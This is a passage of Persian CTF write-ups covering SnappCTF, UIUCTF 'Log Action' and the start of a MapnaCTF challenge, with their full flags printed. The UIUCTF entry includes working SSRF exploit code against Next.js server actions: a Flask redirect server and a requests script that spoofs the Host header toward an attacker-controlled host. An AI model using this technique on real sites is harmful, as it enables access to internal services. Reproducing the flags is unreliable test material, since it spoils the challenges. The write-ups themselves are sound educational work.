\u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0645\u0627 \u0628\u0627\u06cc\u062f \u062f\u0646\u0628\u0627\u0644 \u0628\u062e\u0634 \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0641\u0644\u06af \u0628\u06af\u0631\u062f\u06cc\u0645 \u060c \u06a9\u0647 \u0628\u062e\u0634 \u0627\u0648\u0644\u0634 \u062a\u0648 \u0635\u0641\u062d\u0647 \u0627\u0648\u0644 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u060c \u0628\u0631\u0627\u06cc \u0628\u062e\u0634 \u062f\u0648\u0645 \u06a9\u0627\u0641\u06cc\u0647 \u06a9\u0647 page source \u0631\u0648 \u06cc\u0647 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645 \u060c \u067e\u0633 \u0648\u0627\u0631\u062f \u0622\u062f\u0631\u0633 \u0632\u06cc\u0631 \u0645\u06cc\u0634\u06cc\u0645

view-source:https://welcome.spchallenge.ir

\u0628\u0639\u062f \u0627\u0632 \u0648\u0627\u0631\u062f \u0634\u062f\u0646 \u0628\u0647 \u0627\u06cc\u0646 \u0622\u062f\u0631\u0633 \u060c \u0628\u062e\u0634 \u062f\u0648\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u06a9\u0627\u0645\u0646\u062a \u0634\u062f\u0647 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646:

\u200d\u200d<!-- 2nd part: `700_h4rd_1` -->

\u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0628\u062e\u0634 \u0633\u0648\u0645 \u0647\u0645 \u062a\u0648\u06cc \u0647\u062f\u0631 \u0647\u0627\u06cc \u0631\u06cc\u0633\u067e\u0627\u0646\u0633 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a GET \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0627\u06af\u0647 \u0628\u0627 \u0645\u0631\u0648\u0631\u06af\u0631 \u0647\u0633\u062a\u06cc\u0646 \u062a\u0648 \u0628\u062e\u0634 network \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0627\u0648\u0646 \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0646 \u06cc\u0627 \u0627\u06af\u0647 \u0628\u0627 Burp \u0647\u0633\u062a\u06cc\u0646 \u062a\u0648 \u0628\u062e\u0634 Intercept \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0627\u0648\u0646\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0646 (\u0627\u06af\u0647 \u0628\u0627 curl \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a \u0631\u0648 \u0628\u0632\u0646\u06cc\u0645 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 -v \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 verbose \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u0647\u062f\u0631 \u0647\u0627\u06cc \u0631\u06cc\u0633\u067e\u0627\u0646\u0633 \u0631\u0648 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0646\u06cc\u0645):

$ curl https://welcome.spchallenge.ir/ -v\n< HTTP/2 200 \n< date: Sat, 24 Feb 2024 07:57:33 GMT\n< content-type: text/html;charset=utf-8\n< flag-3rd-part: 6_4b3784621} <<< HERE\n< cf-cache-status: DYNAMIC\n< report-to: {\"endpoints\":[{\"url\":\"https:\\/\\/a.nel.cloudflare.com\\/report\\/v3?s=slO0vKYP8RNvjabK9LpwO%2F7ZTHZpdbktAHJRyNVGg2t5yrVDelM8b7EYMNYNoOYTxPiKkQ%2FVLTKn5I7mQXGYoPdgV%2F9XpLVo8Sx0Oa6pRP4PK%2Bh2IXnxAmXQ0Kja2lgyvO%2BE9ugAyfY5\"}],\"group\":\"cf-nel\",\"max_age\":604800}\n< nel: {\"success_fraction\":0,\"report_to\":\"cf-nel\",\"max_age\":604800}\n< server: cloudflare\n< cf-ray: 85a628897d7741ac-EWR\n< alt-svc: h3=\":443\"; ma=86400\n...\n

\u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646 \u06a9\u0647 \u0628\u062e\u0634 \u0633\u0648\u0645 \u0647\u0645 \u0628\u0627 \u0627\u0633\u0645 flag-3rd-part \u062a\u0648\u06cc \u0647\u062f\u0631 \u0647\u0627 \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a

FLAG

SNAPP{f1r57_0n3_w45n7_700_h4rd_16_4b3784621}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["SnappCTF","SnappCTF-2024","HTTP","Web"]},{"location":"web/writeups/UIUCTF/log-action/","title":"\u0686\u0627\u0644\u0634 Log Action","text":"

\u062a\u0648\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0647 \u0645\u0627 \u062f\u0648\u062a\u0627 \u0648\u0628 \u0633\u0631\u0648\u0631 \u062f\u0627\u062f\u0646 \u06a9\u0647 \u06cc\u06a9\u06cc \u0627\u0632 \u0627\u0648\u0646 \u0647\u0627 \u06a9\u0647 Next.js \u0647\u0633\u062a\u0634 \u0628\u0647 \u0635\u0648\u0631\u062a \u067e\u0627\u0628\u0644\u06cc\u06a9 \u067e\u0627\u0628\u0644\u06cc\u0634 \u0634\u062f\u0647 \u0648\u0644\u06cc \u0648\u0628 \u0633\u0631\u0648\u0631\u06cc \u06a9\u0647 \u0641\u0644\u06af \u062f\u0631 \u0622\u0646 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0647 \u067e\u0648\u0631\u062a\u0634 \u067e\u0627\u0628\u0644\u06cc\u0634 \u0646\u0634\u062f\u0647 \u0648 \u0641\u0642\u0637 \u0627\u0632 \u062f\u0627\u062e\u0644 \u0646\u062a\u0648\u0631\u06a9 \u062f\u0627\u062e\u0644\u06cc \u062f\u0627\u06a9\u0631 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0647\u0633\u062a\u0634

\u0644\u06cc\u0646\u06a9 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0686\u0627\u0644\u0634

version: '3'\nservices:\n  frontend:\n    build: ./frontend\n    restart: always\n    environment:\n      - AUTH_TRUST_HOST=http://localhost:3000\n    ports:\n      - \"3000:3000\"\n    depends_on:\n      - backend\n  backend:\n    image: nginx:latest\n    restart: always\n    volumes:\n      - ./backend/flag.txt:/usr/share/nginx/html/flag.txt\n
\u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062f\u0627\u06a9\u0631 \u06a9\u0627\u0645\u067e\u0648\u0632 \u0645\u0634\u062e\u0635 \u0647\u0633\u062a. \u0641\u0644\u06af \u062f\u0631 \u0633\u0631\u0648\u06cc\u0633 backend \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0647 \u0648\u0644\u06cc \u067e\u0648\u0631\u062a\u06cc \u0628\u0647 \u0628\u06cc\u0631\u0648\u0646 \u067e\u0627\u0628\u0644\u06cc\u0634 \u0646\u0634\u062f\u0647 \u0648 \u0641\u0642\u0637 \u0627\u0632 \u062f\u0627\u062e\u0644 frontend \u06a9\u0647 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0647\u0633\u062a \u0645\u06cc\u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0647 nginx \u0628\u0631\u0633\u06cc\u0645

\u0628\u0639\u062f \u0627\u0632 \u0628\u0631\u0631\u0633\u06cc \u0641\u0627\u06cc\u0644 \u0647\u0627\u06cc next.js \u060c \u0628\u0647 \u0637\u0648\u0631 \u0645\u0633\u062a\u0642\u06cc\u0645 \u0631\u0627\u0647\u06cc \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0627\u0632 frontend \u0628\u0647 backend \u0628\u0631\u0633\u0645 \u067e\u06cc\u062f\u0627 \u0646\u06a9\u0631\u062f\u0645 \u0648 \u0633\u0639\u06cc \u06a9\u0631\u062f\u0645 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0645 \u06a9\u0647 \u0645\u0646\u062c\u0631 \u0628\u0647 SSRF \u062a\u0648\u06cc next.js \u0628\u0634\u0647 \u0648 \u062e\u0648\u0634\u0628\u062e\u062a\u0627\u0646\u0647 \u06cc\u06a9 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc ssrf \u062a\u0648\u06cc \u0648\u0631\u0698\u0646 14.1.0 \u067e\u06cc\u062f\u0627 \u0634\u062f

\u062a\u0645\u0627\u0645\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062f\u0631\u0628\u0627\u0631\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0646 \u0628\u062a\u0648\u0646\u0645 ssrf \u0628\u06af\u06cc\u0631\u0645 \u0628\u0627\u06cc\u062f \u0627\u0632 action \u0627\u06cc \u062a\u0648\u06cc next \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0645 \u06a9\u0647 \u0628\u0647 \u0645\u0633\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 / \u0634\u0631\u0648\u0639 \u0645\u06cc\u0634\u0647 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0628\u0634\u0647. \u0686\u0631\u0627\u061f \u0628\u0647 \u062e\u0627\u0637\u0631 \u0627\u06cc\u0646 \u06a9\u062f \u0633\u0645\u062a next.js:

async function createRedirectRenderResult(\n  req: IncomingMessage,\n  res: ServerResponse,\n  redirectUrl: string,\n  basePath: string,\n  staticGenerationStore: StaticGenerationStore\n) {\n  res.setHeader('x-action-redirect', redirectUrl)\n  // if we're redirecting to a relative path, we'll try to stream the response\n  if (redirectUrl.startsWith('/')) {\n    const forwardedHeaders = getForwardedHeaders(req, res)\n    forwardedHeaders.set(RSC_HEADER, '1')\n\n    const host = req.headers['host']\n    const proto =\n      staticGenerationStore.incrementalCache?.requestProtocol || 'https'\n    const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)\n    // .. snip ..\n    try {\n      const headResponse = await fetch(fetchUrl, {\n        method: 'HEAD',\n        headers: forwardedHeaders,\n        next: {\n          // @ts-ignore\n          internal: 1,\n        },\n      })\n\n      if (\n        headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER\n      ) {\n        const response = await fetch(fetchUrl, {\n          method: 'GET',\n          headers: forwardedHeaders,\n          next: {\n            // @ts-ignore\n            internal: 1,\n          },\n        })\n        // .. snip ..\n        return new FlightRenderResult(response.body!)\n      }\n    } catch (err) {\n      // .. snip ..\n    }\n  }\n\n  return RenderResult.fromStatic('{}')\n}\n

\u0648\u0642\u062a\u06cc \u06a9\u0647 \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a\u06cc \u0627\u0646\u062c\u0627\u0645 \u0628\u0634\u0647 \u0627\u06cc\u0646 \u0641\u0627\u0646\u06a9\u0634 \u06a9\u0627\u0644 \u0645\u06cc\u0634\u0647 \u0648 \u0646\u06a9\u062a\u0647 \u062c\u0627\u0644\u0628 \u0627\u06cc\u0646 \u0641\u0627\u0646\u06a9\u0634\u0646 \u0627\u06cc\u0646 \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0627\u06af\u0647 url \u0628\u0627 / \u0634\u0631\u0648\u0639 \u0628\u0634\u0647 \u060c \u0627\u0628\u062a\u062f\u0627 \u06cc\u06a9 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a HEAD \u0648 \u0627\u06af\u0631 content-type \u0631\u06cc\u0633\u067e\u0627\u0646\u0633 \u0628\u0631\u0627\u0628\u0631 \u0628\u0627 text/x-component \u0628\u0627\u0634\u0647 \u060c \u0628\u0639\u062f\u0634 \u0628\u0647 \u0647\u0645\u0648\u0646 url \u06cc\u06a9 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a GET \u0632\u062f\u0647 \u0645\u06cc\u0634\u0647 \u0648 \u0647\u0627\u0633\u062a \u0627\u0646\u062f\u067e\u0648\u06cc\u0646\u062a \u0647\u0645 \u0627\u0632 HOST \u0647\u062f\u0631 \u06af\u0631\u0641\u062a\u0647 \u0645\u06cc\u0634\u0647 \u0648 \u0628\u062f\u06cc\u0646 \u062a\u0631\u062a\u06cc\u0628 \u0645\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 ssrf \u0628\u0632\u0646\u06cc\u0645

\u0631\u0648\u0634 \u0627\u0635\u0644\u06cc \u0648 \u0645\u0648\u0631\u062f \u0627\u0646\u062a\u0638\u0627\u0631 \u0637\u0631\u0627\u062d \u0633\u0648\u0627\u0644 \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0631\u062a\u06cc\u0628 \u0628\u0648\u062f\u0647 \u06a9\u0647 \u0645\u0627 \u0627\u0632 \u0645\u0633\u06cc\u0631 /logout \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u060c \u0686\u0648\u0646 \u062f\u0631 \u0645\u0633\u06cc\u0631 logout \u0627\u0632 redirect \u062f\u0631\u0648\u0646 action \u0641\u0648\u0631\u0645 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647

import Link from \"next/link\";\nimport { redirect } from \"next/navigation\";\nimport { signOut } from \"@/auth\";\n\nexport default function Page() {\n  return (\n    <>\n      <h1 className=\"text-2xl font-bold\">Log out</h1>\n      <p>Are you sure you want to log out?</p>\n      <Link href=\"/admin\">\n        Go back\n      </Link>\n      <form\n        action={async () => {\n          \"use server\";\n          await signOut({ redirect: false });\n          redirect(\"/login\"); # HERE\n        }}\n      >\n        <button type=\"submit\">Log out</button>\n      </form>\n    </>\n  )\n

\u0648\u0644\u06cc \u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u0646 \u0628\u0631\u0627\u06cc \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u0628\u0648\u062f \u06a9\u0647 \u0628\u0627 next.js \u062f\u0633\u062a \u0648 \u067e\u0646\u062c\u0647 \u0646\u0631\u0645 \u0645\u06cc\u06a9\u0631\u062f\u0645 \u060c \u0628\u0647 \u0627\u06cc\u0646 \u06a9\u062f logout \u062f\u0642\u062a \u0646\u06a9\u0631\u062f\u0645 \u0648 \u0633\u0631\u06cc\u0639 \u0631\u0641\u062a\u0645 \u0633\u0631\u0627\u063a \u0627\u06cc\u0646 action

\"use server\";\nimport { AuthError } from \"next-auth\";\nimport { signIn } from \"@/auth\";\nimport { redirect } from \"next/navigation\";\n\nexport async function authenticate(\n  prevState: string | undefined,\n  formData: FormData,\n) {\n  let foundError = false;\n  try {\n    await signIn('credentials', formData);\n  } catch (error) {\n    if (error instanceof AuthError) {\n      foundError = true;\n      switch (error.type) {\n        case 'CredentialsSignin':\n          return 'Invalid credentials.';\n        default:\n          return 'Something went wrong.';\n      }\n    }\n    throw error;\n  } finally {\n    if (!foundError) {\n      redirect('/admin');\n    }\n  }\n}\n

\u0648 \u062a\u0646\u0647\u0627 \u0631\u0627\u0647 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u062a\u0648\u0646\u0645 \u0628\u0647 \u0627\u0648\u0646 redirect \u062a\u0648\u06cc \u0628\u0644\u0627\u06a9 finally \u0628\u0631\u0633\u0645 \u060c \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0627\u0648\u0646 \u0645\u062a\u063a\u06cc\u0631 foundError \u0641\u0627\u0644\u0633 \u0628\u0645\u0648\u0646\u0647 \u0648 \u062a\u063a\u06cc\u06cc\u0631 \u0646\u06a9\u0646\u0647 \u0648\u0644\u06cc \u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0641\u0627\u0646\u06a9\u0634\u0646 signIn \u0627\u06af\u0647 password \u0627\u062f\u0645\u06cc\u0646 \u0631\u0648 \u062f\u0631\u0633\u062a \u0648\u0627\u0631\u062f \u0646\u06a9\u0646\u06cc \u0627\u0631\u0648\u0631 AuthError \u0645\u06cc\u062f\u0647 \u060c \u067e\u0633 \u0627\u0648\u0646 foundError \u0628\u0647 true \u062a\u063a\u06cc\u06cc\u0631 \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a\u06cc \u0627\u0646\u062c\u0627\u0645 \u0646\u0645\u06cc\u0634\u0647

\u06a9\u062f \u0641\u0627\u0646\u06a9\u0634\u0646 signIn

import NextAuth, { CredentialsSignin } from \"next-auth\";\nimport Credentials from \"next-auth/providers/credentials\";\nimport { z } from \"zod\";\nimport type { User } from \"next-auth\";\nimport { authConfig } from \"@/auth.config\";\nimport { randomBytes } from \"crypto\";\n\nexport const { auth, signIn, signOut } = NextAuth({\n  ...authConfig,\n  providers: [\n    Credentials({\n      async authorize(credentials) {\n        const parsedCredentials = z\n          .object({ username: z.string(), password: z.string() })\n          .safeParse(credentials);\n\n        if (parsedCredentials.success) {\n          const { username, password } = parsedCredentials.data;\n          // Using a one-time password is more secure\n          if (username === \"admin\" && password === randomBytes(16).toString(\"hex\")) {\n            return {\n              username: \"admin\",\n            } as User;\n          }\n        }\n        throw new CredentialsSignin;\n      },\n    }),\n  ]\n});\n

\u0631\u0627\u0647\u06cc \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0641\u0627\u0646\u06a9\u0634\u0646 signIn \u0627\u0631\u0648\u0631\u06cc \u0628\u062e\u0648\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u0632 \u0646\u0648\u0639 AuthError \u0646\u0628\u0627\u0634\u0647 \u0646\u06cc\u0633\u062a

\u0627\u0644\u0628\u062a\u0647 \u0645\u0646 \u062a\u0644\u0627\u0634 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0627\u0632 \u0644\u0627\u06cc\u0628\u0631\u06cc zod \u0627\u0631\u0648\u0631 ZODError \u0628\u06af\u06cc\u0631\u0645 \u0648\u0644\u06cc \u0686\u0648\u0646 \u0627\u0632 \u0645\u062a\u062f safeParse \u0628\u0647 \u062c\u0627\u06cc parse \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u0631\u0627\u0647\u06cc \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0647\u0645 \u0646\u0628\u0648\u062f

\u0628\u0639\u062f \u0627\u0632 \u06a9\u0644\u06cc \u062a\u0644\u0627\u0634 \u06a9\u0647 \u0631\u0627\u0647\u06cc \u0628\u0631\u0627\u06cc \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u06a9\u0631\u062f\u0646 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0645 \u060c \u0628\u0647 \u0637\u0648\u0631 \u0627\u062a\u0641\u0627\u0642\u06cc \u0645\u0648\u0642\u0639\u06cc \u06a9\u0647 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a POST \u0628\u0647 \u0627\u06cc\u0646 ACTION \u0645\u06cc\u0632\u062f\u0645 \u060c \u0627\u0648\u0645\u062f\u0645 \u0647\u062f\u0631 Host \u0631\u0648 \u0628\u0647 https://attacker.com \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u0645 \u0648 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0645 \u06a9\u0647 \u0633\u0645\u062a next.js \u0628\u0647 \u0627\u0631\u0648\u0631 UnknownAction \u062e\u0648\u0631\u062f \u0648 \u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u0648\u0646 redirect \u062f\u0627\u062e\u0644 \u0628\u0644\u0627\u06a9 finally \u0628\u0648\u062f . \u062f\u0631 \u0647\u0631 \u0635\u0648\u0631\u062a \u0627\u062c\u0631\u0627 \u0645\u06cc\u0634\u062f \u0648 \u0627\u06cc\u0646\u0637\u0648\u0631\u06cc \u0628\u0648\u062f \u06a9\u0647 \u062a\u0648\u0646\u0633\u062a\u0645 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0628\u06af\u06cc\u0631\u0645 \u0648\u0644\u06cc \u0628\u0647 \u06a9\u062c\u0627\u061f \u0628\u0647 https!!

\u0627\u0648\u0646\u062c\u0627 \u0628\u0648\u062f \u06a9\u0647 \u0641\u0647\u0645\u06cc\u062f\u0645 \u0645\u0642\u062f\u0627\u0631 \u0647\u062f\u0631 \u0647\u0627\u0633\u062a \u0631\u0648 \u062f\u0627\u0631\u0645 \u0627\u0634\u062a\u0628\u0627\u0647\u06cc \u0645\u06cc\u062f\u0645 \u0648 \u0627\u0648\u0646 \u067e\u0631\u0648\u062a\u06a9\u0644\u0634\u0648 \u062d\u0630\u0641 \u06a9\u0631\u062f\u0645 \u0648 attacker.com \u0631\u0648 \u062a\u0633\u062a \u06a9\u0631\u062f\u0645 \u0648\u0644\u06cc \u0645\u062a\u0627\u0633\u0641\u0627\u0646\u0647 \u062f\u06cc\u06af\u0647 \u0628\u0647 \u0627\u0648\u0646 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0646\u0631\u0633\u06cc\u062f\u0645 \u0648\u0644\u06cc \u06cc\u0647 \u0633\u0639\u06cc \u062f\u06cc\u06af\u0647 \u06a9\u0631\u062f\u0645 \u0648 // \u0631\u0648 \u0628\u0647 \u0627\u062e\u0631 \u0647\u062f\u0631 \u0647\u0627\u0633\u062a \u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0645 \u0648 \u062f\u06cc\u062f\u0645 \u06a9\u0647 \u0628\u0639\u0644\u0647 \u0628\u0647 \u200dattacker.com \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0634\u062f\u0645

","tags":["UIU CTF","UIUCTF-2024","Web","SSRF","Next.js"]},{"location":"web/writeups/UIUCTF/log-action/#_1","title":"\u062e\u0648\u0646\u062f\u0646 \u0641\u0644\u06af","text":"

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u062a\u0648\u0646\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u062e\u0648\u0646\u0645 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0648\u0628 \u0633\u0631\u0648\u0631 \u062e\u0648\u062f\u0645 \u0631\u06cc\u062f\u0627\u0631\u06a9\u062a \u0645\u06cc\u06a9\u0631\u062f\u0645 \u0648 \u0627\u0632 \u0627\u0648\u0646 \u062c\u0627 \u0628\u0647 http://backend/flag.txt \u06a9\u0647 backend \u0628\u0647 ip \u062f\u0627\u06a9\u0631 \u0633\u0631\u0648\u06cc\u0633 backend \u0645\u067e \u0645\u06cc\u0634\u0647 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0645\u06cc\u06a9\u0631\u062f\u0645 \u0645\u0633\u06cc\u0631 \u0631\u0648

\u0648\u0628 \u0633\u0631\u0648\u0631 \u0641\u0644\u0633\u06a9

from flask import Flask, Response, request, redirect\napp = Flask(__name__)\n\n@app.route('/', defaults={'path': ''})\n@app.route('/<path:path>')\ndef catch(path):\n    if request.method == 'HEAD':\n        resp = Response(\"\")\n        resp.headers['Content-Type'] = 'text/x-component'\n        return resp\n    return redirect('http://backend/flag.txt')\n\napp.run(host=\"0.0.0.0\", port=4000)\n

\u0648 \u0628\u0631\u0627\u06cc \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a post

import requests\n\n\nheaders = {\n    \"Host\":\"attacker-ip:4000//\", # the flask server (note to // at the end of host is required)\n    \"Next-Action\":\"5cdaa80b9099b9973b11269421a40d52c0e11f31\", # the action id of next.js\n}\nres = requests.post(\"http://log-action.challenge.uiuc.tf/login\", headers=headers, data=\"{}\")\n\nprint(res.text)\n
FLAG

uiuctf{close_enough_nextjs_server_actions_welcome_back_php}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["UIU CTF","UIUCTF-2024","Web","SSRF","Next.js"]},{"location":"web/writeups/mapnaCTF/flag-holding/","title":"\u0686\u0627\u0644\u0634 Flag holding","text":"

\u0627\u06cc\u0646 \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a \u06af\u0631\u0645\u06cc \u062f\u0631 \u0628\u062e\u0634 \u0648\u0628 \u0628\u0648\u062f \u06a9\u0647 \u062d\u0644 \u0647\u0627\u06cc \u0632\u06cc\u0627\u062f\u06cc \u062f\u0627\u0634\u062a \u060c \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u06af\u0641\u062a\u0647 \u0634\u062f\u0647 \u060c \u06a9\u0627\u0641\u06cc\u0647 \u0628\u062f\u0648\u0646\u06cc\u0645 \u0648\u0628 \u0686\u0637\u0648\u0631 \u06a9\u0627\u0631 \u0645\u06cc\u06a9\u0646\u0647 xd

\u0627\u0648\u0644\u06cc\u0646 \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u062e\u0628 \u0627\u0646\u062a\u0638\u0627\u0631 \u0645\u06cc\u0631\u0647 \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0645 \u060c \u0627\u06cc\u0646\u0647 \u06a9\u0647 \u0622\u062f\u0631\u0633 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0631\u0648 \u0628\u0627\u0632 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0686\u06cc \u0628\u0647 \u0686\u06cc\u0647

\u062a\u0648\u062c\u0647: \u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0645\u0646 \u0627\u0632 curl \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0646\u0645 \u062a\u0627 \u0627\u06af\u0647 \u062f\u0631 \u0637\u0648\u0644 \u0686\u0627\u0644\u0634 \u0646\u06cc\u0627\u0632\u06cc \u0628\u0647 \u0633\u062a \u06a9\u0631\u062f\u0646 \u0647\u062f\u0631 \u062e\u0627\u0635\u06cc \u06cc\u0627 \u06a9\u0627\u0631\u0647 \u062e\u0627\u0635\u06cc \u0628\u0648\u062f \u0631\u0627\u062d\u062a \u062a\u0631 \u0628\u0627\u0634\u0645 \u0648\u0644\u06cc \u0627\u0644\u0632\u0627\u0645\u06cc \u0628\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 curl \u0646\u06cc\u0633\u062a

$ curl http://18.184.219.56:8080/\n<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Flag holding</title>\n    <style>\n        body {\n            background-color: #1a4a5e;\n        }\n        .msg {\n            text-align: center;\n            font-family: sans-serif;\n            color: white;\n            font-size: 40px;\n            line-height: 500px;\n        }\n    </style>\n</head>\n<body>\n    <div class=\"msg\" style=\"\">\n        You are not coming from \"http://flagland.internal/\".\n    </div>\n</body>\n</html>\n
\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646 \u062a\u0648\u06cc \u0631\u06cc\u0633\u067e\u0627\u0646\u0633 \u0628\u0647 \u0645\u0627 \u06af\u0641\u062a\u0647 You are not coming from \"http://flagland.internal/\" \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0686\u0627\u0644\u0634 \u0627\u0632 \u0645\u0627 \u0627\u0646\u062a\u0638\u0627\u0631 \u062f\u0627\u0631\u0647 \u06a9\u0647 \u0628\u062f\u0648\u0646\u06cc\u0645 \u0648\u0628 \u0686\u0637\u0648\u0631 \u06a9\u0627\u0631 \u0645\u06cc\u06a9\u0646\u0647 \u060c \u0627\u06af\u0647 \u06cc\u0647 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 HTTP HEADERS \u0628\u0646\u062f\u0627\u0632\u06cc\u0645 \u0628\u0627 \u0647\u062f\u0631 Referer \u0645\u0648\u0627\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u062a\u0648\u06cc \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0627\u06cc\u0646 \u0647\u062f\u0631 \u06af\u0641\u062a\u0647 \u0634\u062f\u0647:
The address of the previous web page from which a link to the currently requested page was followed.\n
